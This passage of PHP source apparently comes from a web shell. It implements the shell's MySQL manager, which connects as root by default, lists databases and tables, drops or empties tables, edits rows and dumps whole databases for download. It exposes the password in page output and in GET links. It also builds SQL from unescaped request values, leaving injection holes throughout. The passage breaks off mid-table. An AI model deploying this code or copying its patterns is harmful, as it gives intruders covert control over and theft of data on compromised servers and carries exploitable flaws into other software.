  1953.   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  1954.  
  1955.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  1956.  
  1957.   echo "</center>";
  1958.  
  1959.  }
  1960.  
  1961.  echo "</td></tr><tr>";
  1962.  
  1963.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  1964.  
  1965.  else
  1966.  
  1967.  {
  1968.  
  1969.   //Start left panel
  1970.  
  1971.   if (!empty($sql_db))
  1972.  
  1973.   {
  1974.  
  1975.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1976.  
  1977.    $result = mysql_list_tables($sql_db);
  1978.  
  1979.    if (!$result) {echo mysql_smarterror();}
  1980.  
  1981.    else
  1982.  
  1983.    {
  1984.  
  1985.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  1986.  
  1987.     $c = 0;
  1988.  
  1989.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  1990.  
  1991.     if (!$c) {echo "No tables found in database.";}
  1992.  
  1993.    }
  1994.  
  1995.   }
  1996.  
  1997.   else
  1998.  
  1999.   {
  2000.  
  2001.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  2002.  
  2003.    $result = mysql_list_dbs($sql_sock);
  2004.  
  2005.    if (!$result) {echo mysql_smarterror();}
  2006.  
  2007.    else
  2008.  
  2009.    {
  2010.  
  2011.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  2012.  
  2013.     $c = 0;
  2014.  
  2015.     $dbs = "";
  2016.  
  2017.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  2018.  
  2019.     echo "<option value=\"\">Databases (".$c.")</option>";
  2020.  
  2021.     echo $dbs;
  2022.  
  2023.    }
  2024.  
  2025.    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  2026.  
  2027.   }
  2028.  
  2029.   //End left panel
  2030.  
  2031.   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  2032.  
  2033.   //Start center panel
  2034.  
  2035.   $diplay = TRUE;
  2036.  
  2037.   if ($sql_db)
  2038.  
  2039.   {
  2040.  
  2041.    if (!is_numeric($c)) {$c = 0;}
  2042.  
  2043.    if ($c == 0) {$c = "no";}
  2044.  
  2045.    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  2046.  
  2047.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  2048.  
  2049.    echo "</b></center>";
  2050.  
  2051.    $acts = array("","dump");
  2052.  
  2053.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  2054.  
  2055.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  2056.  
  2057.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  2058.  
  2059.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  2060.  
  2061.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  2062.  
  2063.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  2064.  
  2065.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  2066.  
  2067.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  2068.  
  2069.    elseif ($sql_tbl_act == "insert")
  2070.  
  2071.    {
  2072.  
  2073.     if ($sql_tbl_insert_radio == 1)
  2074.  
  2075.     {
  2076.  
  2077.      $keys = "";
  2078.  
  2079.      $akeys = array_keys($sql_tbl_insert);
  2080.  
  2081.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  2082.  
  2083.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  2084.  
  2085.      $values = "";
  2086.  
  2087.      $i = 0;
  2088.  
  2089.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  2090.  
  2091.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  2092.  
  2093.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  2094.  
  2095.      $sql_act = "query";
  2096.  
  2097.      $sql_tbl_act = "browse";
  2098.  
  2099.     }
  2100.  
  2101.     elseif ($sql_tbl_insert_radio == 2)
  2102.  
  2103.     {
  2104.  
  2105.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  2106.  
  2107.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  2108.  
  2109.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  2110.  
  2111.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  2112.  
  2113.      $sql_act = "query";
  2114.  
  2115.      $sql_tbl_act = "browse";
  2116.  
  2117.     }
  2118.  
  2119.    }
  2120.  
  2121.    if ($sql_act == "query")
  2122.  
  2123.    {
  2124.  
  2125.     echo "<hr size=\"1\" noshade>";
  2126.  
  2127.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  2128.  
  2129.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  2130.  
  2131.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  2132.  
  2133.    }
  2134.  
  2135.    if (in_array($sql_act,$acts))
  2136.  
  2137.    {
  2138.  
  2139.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  2140.  
  2141.     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  2142.  
  2143.     if ($sql_act == "newtbl")
  2144.  
  2145.     {
  2146.  
  2147.      echo "<b>";
  2148.  
  2149.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  2150.  
  2151.     }
  2152.  
  2153.     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  2154.  
  2155.    }
  2156.  
  2157.    elseif ($sql_act == "dump")
  2158.  
  2159.    {
  2160.  
  2161.     if (empty($submit))
  2162.  
  2163.     {
  2164.  
  2165.      $diplay = FALSE;
  2166.  
  2167.      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  2168.  
  2169.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  2170.  
  2171.      $v = join (";",$dmptbls);
  2172.  
  2173.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  2174.  
  2175.      if ($dump_file) {$tmp = $dump_file;}
  2176.  
  2177.      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  2178.  
  2179.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  2180.  
  2181.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  2182.  
  2183.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  2184.  
  2185.      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  2186.  
  2187.      echo "</form>";
  2188.  
  2189.     }
  2190.  
  2191.     else
  2192.  
  2193.     {
  2194.  
  2195.      $diplay = TRUE;
  2196.  
  2197.      $set = array();
  2198.  
  2199.      $set["sock"] = $sql_sock;
  2200.  
  2201.      $set["db"] = $sql_db;
  2202.  
  2203.      $dump_out = "download";
  2204.  
  2205.      $set["print"] = 0;
  2206.  
  2207.      $set["nl2br"] = 0;
  2208.  
  2209.      $set[""] = 0;
  2210.  
  2211.      $set["file"] = $dump_file;
  2212.  
  2213.      $set["add_drop"] = TRUE;
  2214.  
  2215.      $set["onlytabs"] = array();
  2216.  
  2217.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  2218.  
  2219.      $ret = mysql_dump($set);
  2220.  
  2221.      if ($sql_dump_download)
  2222.  
  2223.      {
  2224.  
  2225.       @ob_clean();
  2226.  
  2227.       header("Content-type: application/octet-stream");
  2228.  
  2229.       header("Content-length: ".strlen($ret));
  2230.  
  2231.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  2232.  
  2233.       echo $ret;
  2234.  
  2235.       exit;
  2236.  
  2237.      }
  2238.  
  2239.      elseif ($sql_dump_savetofile)
  2240.  
  2241.      {
  2242.  
  2243.       $fp = fopen($sql_dump_file,"w");
  2244.  
  2245.       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  2246.  
  2247.       else
  2248.  
  2249.       {
  2250.  
  2251.        fwrite($fp,$ret);
  2252.  
  2253.        fclose($fp);
  2254.  
  2255.        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  2256.  
  2257.       }
  2258.  
  2259.      }
  2260.  
  2261.      else {echo "<b>Dump: nothing to do!</b>";}
  2262.  
  2263.     }
  2264.  
  2265.    }
  2266.  
  2267.    if ($diplay)
  2268.  
  2269.    {
  2270.  
  2271.     if (!empty($sql_tbl))
  2272.  
  2273.     {
  2274.  
  2275.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  2276.  
  2277.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  2278.  
  2279.      $count_row = mysql_fetch_array($count);
  2280.  
  2281.      mysql_free_result($count);
  2282.  
  2283.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  2284.  
  2285.      $tbl_struct_fields = array();
  2286.  
  2287.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  2288.  
  2289.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  2290.  
  2291.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  2292.  
  2293.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  2294.  
  2295.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  2296.  
  2297.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  2298.  
  2299.      if (!is_numeric($perpage)) {$perpage = 10;}
  2300.  
  2301.      $numpages = $count_row[0]/$perpage;
  2302.  
  2303.      $e = explode(" ",$sql_order);
  2304.  
  2305.      if (count($e) == 2)
  2306.  
  2307.      {
  2308.  
  2309.       if ($e[0] == "d") {$asc_desc = "DESC";}
  2310.  
  2311.       else {$asc_desc = "ASC";}
  2312.  
  2313.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  2314.  
  2315.      }
  2316.  
  2317.      else {$v = "";}
  2318.  
  2319.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  2320.  
  2321.      $result = mysql_query($query) or print(mysql_smarterror());
  2322.  
  2323.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  2324.  
  2325.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  2326.  
  2327.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  2328.  
  2329.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  2330.  
  2331.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  2332.  
  2333.      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  2334.  
  2335.      if ($sql_tbl_act == "insert")
  2336.  
  2337.      {
  2338.  
  2339.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  2340.  
  2341.       if (!empty($sql_tbl_insert_radio))
  2342.  
  2343.       {
  2344.  
  2345.  
  2346.  
  2347.       }
  2348.  
  2349.       else
  2350.  
  2351.       {
  2352.  
  2353.        echo "<br><br><b>Inserting row into table:</b><br>";
  2354.  
  2355.        if (!empty($sql_tbl_insert_q))
  2356.  
  2357.        {
  2358.  
  2359.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  2360.  
  2361.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  2362.  
  2363.         $sql_query .= " LIMIT 1;";
  2364.  
  2365.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  2366.  
  2367.         $values = mysql_fetch_assoc($result);
  2368.  
  2369.         mysql_free_result($result);
  2370.  
  2371.        }
  2372.  
  2373.        else {$values = array();}
  2374.  
  2375.        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  2376.  
  2377.        foreach ($tbl_struct_fields as $field)
  2378.  
  2379.        {
  2380.  
  2381.         $name = $field["Field"];
  2382.  
  2383.         if (empty($sql_tbl_insert_q)) {$v = "";}
  2384.  
  2385.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  2386.  
  2387.         $i++;
  2388.  
  2389.        }
  2390.  
  2391.        echo "</table><br>";
  2392.  
  2393.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  2394.  
  2395.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  2396.  
  2397.        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  2398.  
  2399.       }
  2400.  
  2401.      }
  2402.  
  2403.      if ($sql_tbl_act == "browse")
  2404.  
  2405.      {
  2406.  
  2407.       $sql_tbl_ls = abs($sql_tbl_ls);
  2408.  
  2409.       $sql_tbl_le = abs($sql_tbl_le);
  2410.  
  2411.       echo "<hr size=\"1\" noshade>";
  2412.  
  2413.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  2414.  
  2415.       $b = 0;
  2416.  
  2417.       for($i=0;$i<$numpages;$i++)
  2418.  
  2419.       {
  2420.  
  2421.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  2422.  
  2423.        echo $i;
  2424.  
  2425.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  2426.  
  2427.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  2428.  
  2429.        else {echo "&nbsp;";}
  2430.  
  2431.       }
  2432.  
  2433.       if ($i == 0) {echo "empty";}
  2434.  
  2435.       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  2436.  
  2437.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
  2438.  
  2439.       echo "<tr>";
  2440.  
  2441.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  2442.  
  2443.       for ($i=0;$i<mysql_num_fields($result);$i++)
  2444.  
  2445.       {
  2446.  
  2447.        $v = mysql_field_name($result,$i);
  2448.  
  2449.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
  2450.  
  2451.        else {$s = "a"; $m = "desc";}
  2452.  
  2453.        echo "<td>";
  2454.  
  2455.        if (empty($e[0])) {$e[0] = "a";}
  2456.  
  2457.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  2458.  
  2459.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  2460.  
  2461.        echo "</td>";
  2462.  
  2463.       }
  2464.  
  2465.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  2466.  
  2467.       echo "</tr>";
  2468.  
  2469.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  2470.  
  2471.       {
  2472.  
  2473.        echo "<tr>";
  2474.  
  2475.        $w = "";
  2476.  
  2477.        $i = 0;
  2478.  
  2479.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  2480.  
  2481.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  2482.  
  2483.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  2484.  
  2485.        $i = 0;
  2486.  
  2487.        foreach ($row as $k=>$v)
  2488.  
  2489.        {
  2490.  
  2491.         $v = htmlspecialchars($v);
  2492.  
  2493.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  2494.  
  2495.         echo "<td>".$v."</td>";
  2496.  
  2497.         $i++;
  2498.  
  2499.        }
  2500.  
  2501.        echo "<td>";
  2502.  
  2503.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  2504.  
  2505.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  2506.  
  2507.        echo "</td>";
  2508.  
  2509.        echo "</tr>";
  2510.  
  2511.       }
  2512.  
  2513.       mysql_free_result($result);
  2514.  
  2515.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  2516.  
  2517.       echo "<option value=\"\">With selected:</option>";
  2518.  
  2519.       echo "<option value=\"deleterow\">Delete</option>";
  2520.  
  2521.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  2522.  
  2523.      }
  2524.  
  2525.     }
  2526.  
  2527.     else
  2528.  
  2529.     {
  2530.  
  2531.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  2532.  
  2533.      if (!$result) {echo mysql_smarterror();}
  2534.  
  2535.      else
  2536.  
  2537.      {
  2538.  
  2539.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  2540.  
  2541.      
  2542.  
  2543.       $i = 0;
  2544.  
  2545.       $tsize = $trows = 0;
  2546.  
  2547.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  2548.  
  2549.       {
  2550.  
  2551.        $tsize += $row["Data_length"];
  2552.  
  2553.        $trows += $row["Rows"];
  2554.  
  2555.        $size = view_size($row["Data_length"]);
  2556.  
  2557.        echo "<tr>";
  2558.  
  2559.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  2560.  
